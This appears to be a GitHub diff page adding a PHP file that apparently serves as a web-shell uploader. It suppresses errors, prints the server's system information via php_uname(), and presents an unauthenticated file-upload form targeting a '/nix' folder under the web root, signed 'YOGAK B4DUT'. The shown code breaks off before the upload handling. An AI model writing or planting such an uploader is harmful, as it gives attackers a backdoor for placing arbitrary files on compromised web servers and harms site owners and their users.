File tree Expand file tree Collapse file tree 1 file changed +34
-0
lines changed Expand file tree Collapse file tree 1 file changed +34
-0
lines changed Original file line number Diff line number Diff line change
1
+ <?php
2
+ error_reporting (0 );
3
+ ob_start ();
4
+ session_start ();
5
+
6
+ // Menghancurkan sesi jika halaman di-refresh
7
+ session_destroy ();
8
+ session_start ();
9
+
10
+ if (isset ($ _POST ['reset ' ])) {
11
+ session_destroy ();
12
+ header ("Location: " .$ _SERVER ['PHP_SELF ' ]);
13
+ }
14
+
15
+ if (!isset ($ _SESSION ['count ' ])) {
16
+ $ _SESSION ['count ' ] = 0 ;
17
+ } else {
18
+ $ _SESSION ['count ' ]++;
19
+ }
20
+
21
+ echo "<meta name='viewport' content='width=device-width, initial-scale=1.0'> " ;
22
+ echo "<div style='color: black; opacity: 0.3; font-size: 2vw; position: fixed; bottom: 25px; left: 25px; z-index: 2; font-weight: bold; user-select: none; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none;'>© YOGAK B4DUT; <span id='waktu'></span></div> " ;
23
+ echo "<script src='assets/code/times.js'></script> " ;
24
+ echo "<b><span class='select'> " . php_uname () . "</span></b> " ;
25
+ echo "<br /><br /><center><form method='post' enctype='multipart/form-data'>
26
+ <input type='file' name='file'>
27
+ <br /><br />
28
+ <input type='submit' name='upload' value='UPLOAD'>
29
+ </form></center> " ;
30
+ ob_flush ();
31
+
32
+ $ root = $ _SERVER ['DOCUMENT_ROOT ' ];
33
+ $ upload_dir = $ root . '/nix ' ;
34
+
You can’t perform that action at this time.
0 commit comments